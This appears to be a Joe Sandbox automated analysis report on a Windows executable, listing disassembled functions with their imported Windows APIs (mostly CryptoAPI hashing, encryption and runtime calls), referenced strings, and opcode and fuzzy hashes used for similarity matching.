Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: strchr$_strdupfopenfseekstrncmpstrtol
String ID: CurrentUser$schannel: Failed to import cert file %s, password is bad
API String ID: 4221717217-1887299029
Opcode ID: 046ae9396b9c5381c5eb35e0e58779f46924a88e9e3f65756152692471b5be5a
Instruction ID: abb01762a1a5759cdf58a1740680e896489972e2ff0ec3561cd99487e336a872
Opcode Fuzzy Hash: 046ae9396b9c5381c5eb35e0e58779f46924a88e9e3f65756152692471b5be5a
Instruction Fuzzy Hash: C4819F21B0974286FB598F22D8543BA2A90BF45BACF684135CE1E877D2EFBCE454D300

Function 00007FF6029D85D0 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 422stringCOMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029D884E
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029D8856
strtol.API-MS-WIN-CRT-CONVERT-L1-1-0 ref: 00007FF6029D886C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029D8875
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029D887D
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029D8887

Strings

%02d:%02d:%02d%n, xrefs: 00007FF6029D87F9
%02d:%02d%n, xrefs: 00007FF6029D882D
%31[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz], xrefs: 00007FF6029D868E
GMT, xrefs: 00007FF6029D8747

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: _errno$strtol
String ID: %02d:%02d%n$%02d:%02d:%02d%n$%31[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz]$GMT
API String ID: 3596500743-988243589
Opcode ID: a27ae542bc9c7f338d1e45ad8eab28fe8a94b20ee21e0465aef1e32ec5bb0263
Instruction ID: b07a551da446c2fb097f8524b08877f77fd9650ebc07e6998fb2312ee0c4ba19
Opcode Fuzzy Hash: a27ae542bc9c7f338d1e45ad8eab28fe8a94b20ee21e0465aef1e32ec5bb0263
Instruction Fuzzy Hash: 1EF1D572F186118AEB249F69D4402BC3BA1BF4479CF604235DE1EE77D6DEBCA8069740

Function 00007FF6029D9C10 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 78encryptionCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF6029D9C50
CryptAcquireContextA.ADVAPI32(?,?,?,?,?,?,?,?,00007FF6029D9BD9), ref: 00007FF6029D9C6F
CryptCreateHash.ADVAPI32(?,?,?,?,?,?,?,?,00007FF6029D9BD9), ref: 00007FF6029D9C99
CryptHashData.ADVAPI32(?,?,?,?,?,?,?,?,00007FF6029D9BD9), ref: 00007FF6029D9CB1
CryptGetHashParam.ADVAPI32(?,?,?,?,?,?,?,?,00007FF6029D9BD9), ref: 00007FF6029D9CD6
CryptGetHashParam.ADVAPI32(?,?,?,?,?,?,?,?,00007FF6029D9BD9), ref: 00007FF6029D9D02
CryptDestroyHash.ADVAPI32(?,?,?,?,?,?,?,?,00007FF6029D9BD9), ref: 00007FF6029D9D12
CryptReleaseContext.ADVAPI32(?,?,?,?,?,?,?,?,00007FF6029D9BD9), ref: 00007FF6029D9D24

Strings

@, xrefs: 00007FF6029D9C65

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: Crypt$Hash$ContextParam$AcquireCreateDataDestroyReleasememset
String ID: @
API String ID: 2041421932-2766056989
Opcode ID: 8dec24b2b28c854e2a512df026831b930f33e1a9c27e0228013d28694f948d07
Instruction ID: 98e73b0d83eb85082fa291b6fa6ebe93f24e668cf55c5bba02713c035412a7ef
Opcode Fuzzy Hash: 8dec24b2b28c854e2a512df026831b930f33e1a9c27e0228013d28694f948d07
Instruction Fuzzy Hash: 30315E3261978186EB60DF22E584A6A7B64FFC5B88F248135EF8D93A18CF7CD445DB00

Function 00007FF6029B275E Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 70stringwindowCOMMON

Download Yara Rule

APIs

FormatMessageA.KERNEL32 ref: 00007FF6029B26F9
strchr.VCRUNTIME140 ref: 00007FF6029B2720
strncpy.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029B2BBF
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029B2BCA
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029B2BD5
GetLastError.KERNEL32 ref: 00007FF6029B2BDE
SetLastError.KERNEL32 ref: 00007FF6029B2BEA

Strings

SEC_E_BAD_PKGID, xrefs: 00007FF6029B275E
%s (0x%08X), xrefs: 00007FF6029B26A5
%s - %s, xrefs: 00007FF6029B2BA9

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: ErrorLast_errno$FormatMessagestrchrstrncpy
String ID: %s (0x%08X)$%s - %s$SEC_E_BAD_PKGID
API String ID: 600764987-1052566392
Opcode ID: 2f4f5cac2e3c43b7562cef83c936687109589ef06298fa9f03c17c2dbd503f5a
Instruction ID: ef810ea742becf1b1dfc9bf92e2ad8f103b27f74bcffdef9769e012c34b8cf4e
Opcode Fuzzy Hash: 2f4f5cac2e3c43b7562cef83c936687109589ef06298fa9f03c17c2dbd503f5a
Instruction Fuzzy Hash: 5A317022A0D7C285EB629F21E5543BA7BA0FF85748F50053ADE8D82A96DF7CD544CB10

Function 00007FF6029FF840 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 69encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextA.ADVAPI32 ref: 00007FF6029FF886
CryptCreateHash.ADVAPI32 ref: 00007FF6029FF8AA
CryptHashData.ADVAPI32 ref: 00007FF6029FF8C6
CryptGetHashParam.ADVAPI32 ref: 00007FF6029FF8E5
CryptGetHashParam.ADVAPI32 ref: 00007FF6029FF908
CryptDestroyHash.ADVAPI32 ref: 00007FF6029FF918
CryptReleaseContext.ADVAPI32 ref: 00007FF6029FF92A

Strings

@, xrefs: 00007FF6029FF85D

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: Crypt$Hash$ContextParam$AcquireCreateDataDestroyRelease
String ID: @
API String ID: 3606780921-2766056989
Opcode ID: 6136e2d2f60899814bedc5065155a8e394b868ebbd0571b5477ee51700c2f6b1
Instruction ID: dfd0fddbe0211bbc830954302e7d33341f0d6194267b0996c3813145fdcad58b
Opcode Fuzzy Hash: 6136e2d2f60899814bedc5065155a8e394b868ebbd0571b5477ee51700c2f6b1
Instruction Fuzzy Hash: CF21503261878186E7A08F11E454A6B7B61FFC9B88F545135EE8E43E58CF7CD545CB00

Function 00007FF602A0067C Relevance: 13.6, APIs: 9, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF602A00698
memset.VCRUNTIME140 ref: 00007FF602A006BC
RtlCaptureContext.KERNEL32 ref: 00007FF602A006C5
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF602A006DF
RtlVirtualUnwind.KERNEL32 ref: 00007FF602A00720
memset.VCRUNTIME140 ref: 00007FF602A00753
IsDebuggerPresent.KERNEL32 ref: 00007FF602A00774
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF602A00791
UnhandledExceptionFilter.KERNEL32 ref: 00007FF602A0079C

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandledmemset$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 313767242-0
Opcode ID: 44a6ae0cd8af2b98538bf3d6ef033a35be83f1fd2ab8966232449bb115425376
Instruction ID: aa3016c5fe3a334f0def630eb3fc1d24f090b6c8aad9dab8526f269c780e4ec3
Opcode Fuzzy Hash: 44a6ae0cd8af2b98538bf3d6ef033a35be83f1fd2ab8966232449bb115425376
Instruction Fuzzy Hash: 94313072608B818AEB609F60E8843ED7765FB88748F54403ADB4D87B94EFBCD648C710

Function 00007FF6029FD750 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 112encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextA.ADVAPI32 ref: 00007FF6029FD797
CryptImportKey.ADVAPI32 ref: 00007FF6029FD869
CryptReleaseContext.ADVAPI32 ref: 00007FF6029FD881
CryptEncrypt.ADVAPI32 ref: 00007FF6029FD8B2
CryptDestroyKey.ADVAPI32 ref: 00007FF6029FD8BC
CryptReleaseContext.ADVAPI32 ref: 00007FF6029FD8C8

Strings

@, xrefs: 00007FF6029FD77D

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: Crypt$Context$Release$AcquireDestroyEncryptImport
String ID: @
API String ID: 3016261861-2766056989
Opcode ID: c3d7f55d531103b682a9b71d8043198a9a0fc1ead9b00ee7f1eeacd26531a0d2
Instruction ID: 3a1a98f4adc0ace30b8acea8a358eb8ae976716db176e370c408e7474e72108f
Opcode Fuzzy Hash: c3d7f55d531103b682a9b71d8043198a9a0fc1ead9b00ee7f1eeacd26531a0d2
Instruction Fuzzy Hash: 7541AD22B046A08EF7108BB6E4547EE3FB1FB5A748F044025DE9957A9ACF3CD11AD750

Function 00007FF6029D5CF0 Relevance: 10.1, Strings: 8, Instructions: 72COMMON

Download Yara Rule

Strings

%4I64dM, xrefs: 00007FF6029D5D8C
%4I64dT, xrefs: 00007FF6029D5E00
%2I64d.%0I64dG, xrefs: 00007FF6029D5DAA
%4I64dk, xrefs: 00007FF6029D5D1E
%2I64d.%0I64dM, xrefs: 00007FF6029D5D39
%4I64dG, xrefs: 00007FF6029D5DE4
%4I64dP, xrefs: 00007FF6029D5E0D
%5I64d, xrefs: 00007FF6029D5D05

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID:
String ID: %2I64d.%0I64dG$%2I64d.%0I64dM$%4I64dG$%4I64dM$%4I64dP$%4I64dT$%4I64dk$%5I64d
API String ID: 0-2102732564
Opcode ID: 434d816d5508b23ec8b761faf1e405e596b275a867fb9c915b7854e0c7215efd
Instruction ID: 07c89ae1930a4577adec8cdf53e24d41042283d27ff29bfbddd2d73440f50d23
Opcode Fuzzy Hash: 434d816d5508b23ec8b761faf1e405e596b275a867fb9c915b7854e0c7215efd
Instruction Fuzzy Hash: AB21CF50E19A4A53FF14CB96A800BF446608F44788FF10533E80E8A396DFFC7991D260

Function 00007FF602A00A18 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

memset.VCRUNTIME140(?,?,?,00007FF6029A1880), ref: 00007FF602A00A2E
GetLastError.KERNEL32 ref: 00007FF602A00A79
IsDebuggerPresent.KERNEL32 ref: 00007FF602A00A91
OutputDebugStringW.KERNEL32 ref: 00007FF602A00AA2

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00007FF602A00A9B

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: DebugDebuggerErrorLastOutputPresentStringmemset
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 1848478996-631824599
Opcode ID: 637a213c1da88407680c04d78c1e61b8d1bedd6c31c7c0292ccceb778aad0452
Instruction ID: 2afc9f48e5326139d84501ee4009f9c2870690fd4cef167e9c4a7dd10d935111
Opcode Fuzzy Hash: 637a213c1da88407680c04d78c1e61b8d1bedd6c31c7c0292ccceb778aad0452
Instruction Fuzzy Hash: 3A115E32A14B42A7F7449B22DA9537937A4FF08749F604135CA4DC2A90EFBCE478C740

Function 00007FF6029D9B40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 34encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextA.ADVAPI32 ref: 00007FF6029D9B71
CryptGenRandom.ADVAPI32 ref: 00007FF6029D9B85
CryptReleaseContext.ADVAPI32 ref: 00007FF6029D9B96
CryptReleaseContext.ADVAPI32 ref: 00007FF6029D9BAC

Strings

@, xrefs: 00007FF6029D9B59

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: Crypt$Context$Release$AcquireRandom
String ID: @
API String ID: 2916321625-2766056989
Opcode ID: 0ac105aea5ba1d1cf2cff87d6f6bbec93b26db8ffee4d0c604fb4a7a731729df
Instruction ID: bb2f50d658f2f7048c47340233769575016483bc03355c0ab3eeb2344514c2b2
Opcode Fuzzy Hash: 0ac105aea5ba1d1cf2cff87d6f6bbec93b26db8ffee4d0c604fb4a7a731729df
Instruction Fuzzy Hash: 00F08661B0874182F7109F16F484726A761FF887D8F644430DE8D86669DEBDC4858B00

Function 00007FF6029CA150 Relevance: 8.2, Strings: 6, Instructions: 693COMMON

Download Yara Rule

Strings

(nil), xrefs: 00007FF6029CA9B6
0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ, xrefs: 00007FF6029CA66B, 00007FF6029CA6D6
(nil), xrefs: 00007FF6029CA934
.%ld, xrefs: 00007FF6029CA4B9
%ld, xrefs: 00007FF6029CA460
0123456789abcdefghijklmnopqrstuvwxyz, xrefs: 00007FF6029CA193, 00007FF6029CA664, 00007FF6029CA6CB

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID:
String ID: %ld$(nil)$(nil)$.%ld$0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ$0123456789abcdefghijklmnopqrstuvwxyz
API String ID: 0-1379995092
Opcode ID: 6fe4d5b75646ab6122b07eb1061459e9abcdc209cb5e48310bfdb0b9ebada0bf
Instruction ID: aa8f1845e029078a10034e88bdc0722f1b46af2909154368a35f899aa50f03e0
Opcode Fuzzy Hash: 6fe4d5b75646ab6122b07eb1061459e9abcdc209cb5e48310bfdb0b9ebada0bf
Instruction Fuzzy Hash: 43420532908A8A86E7648E1A95443796F91FF44F9CF704A30DE9EC76D6DEBCE9418700

Function 00007FF602A00894 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF602A008C0
GetCurrentThreadId.KERNEL32 ref: 00007FF602A008CE
GetCurrentProcessId.KERNEL32 ref: 00007FF602A008DA
QueryPerformanceCounter.KERNEL32 ref: 00007FF602A008EA

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 041d678dc743e0e5f436598f64fc9b09e1e8aef45ebef0de337f34359adb3a07
Instruction ID: bbb12a4e3d73cd2b68d5b46e996ca2866598997528f2a98433702d834eb7aa19
Opcode Fuzzy Hash: 041d678dc743e0e5f436598f64fc9b09e1e8aef45ebef0de337f34359adb3a07
Instruction Fuzzy Hash: 7C111826B14B028AEB00CB60E8942A937B4FB59758F540E31DE6D86BA4DFB8D598C340

Function 00007FF6029DCAD0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 20encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextA.ADVAPI32 ref: 00007FF6029DCAEC
CryptCreateHash.ADVAPI32 ref: 00007FF6029DCB0D

Strings

@, xrefs: 00007FF6029DCADC

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: Crypt$AcquireContextCreateHash
String ID: @
API String ID: 1914063823-2766056989
Opcode ID: 1b93c0d41da9f109d1acfa544d6c01e5a17770cfcf19a319a204773c3ebed238
Instruction ID: 259971bb7c4325495d158debe0ed8759829c474ce78e698986da12af32d5d4af
Opcode Fuzzy Hash: 1b93c0d41da9f109d1acfa544d6c01e5a17770cfcf19a319a204773c3ebed238
Instruction Fuzzy Hash: 11E09A22B24A5282F7208B21E845F166750EF88B8CF588031CE8C8AA18DF7CC08ACB04

Function 00007FF6029E9410 Relevance: 3.0, APIs: 2, Instructions: 38networkCOMMON

Download Yara Rule

APIs

htons.WS2_32 ref: 00007FF6029E944B
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029E947F

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: _getpidhtons
String ID:
API String ID: 3416910171-0
Opcode ID: 14fbe48617075f3174793a590dd64f28711d7743a1a480ca69b05c8c2bed0042
Instruction ID: e7579c67f08d0493b6fba259d988f8048d9d4f8ddf337add64f9d09ef238b051
Opcode Fuzzy Hash: 14fbe48617075f3174793a590dd64f28711d7743a1a480ca69b05c8c2bed0042
Instruction Fuzzy Hash: 54113C26A247D0CAD304CF75E5402AD37B0FB5CB88F14962AFB8987B59EB78D690C744

Function 00007FF6029AEC30 Relevance: 1.7, APIs: 1, Instructions: 187COMMON

Download Yara Rule

APIs

?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 00007FF6029AED10

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: Xbad_function_call@std@@
String ID:
API String ID: 1029415015-0
Opcode ID: d85b1203621929becc78f717d9455c77eb8f9cc5392cf1a45e86bbadd8f8e732
Instruction ID: d766f1eb1ac5f70f8b8379d913e9214c201b2fad26d5287ce270bd69b7c62b7c
Opcode Fuzzy Hash: d85b1203621929becc78f717d9455c77eb8f9cc5392cf1a45e86bbadd8f8e732
Instruction Fuzzy Hash: 4481A362B19B9989EB01CB6AD0843BC3B70EB55B48F684436CF8D87796DF79D041C390

Function 00007FF6029AD310 Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23195db887e80f4d2cea8d575e2b125909b75d07273f377a0876d07e28769e32
Instruction ID: 67998c8ebd762bdf968fdbe768f84c27ac3abd438ac8689d3fafc844828624f1
Opcode Fuzzy Hash: 23195db887e80f4d2cea8d575e2b125909b75d07273f377a0876d07e28769e32
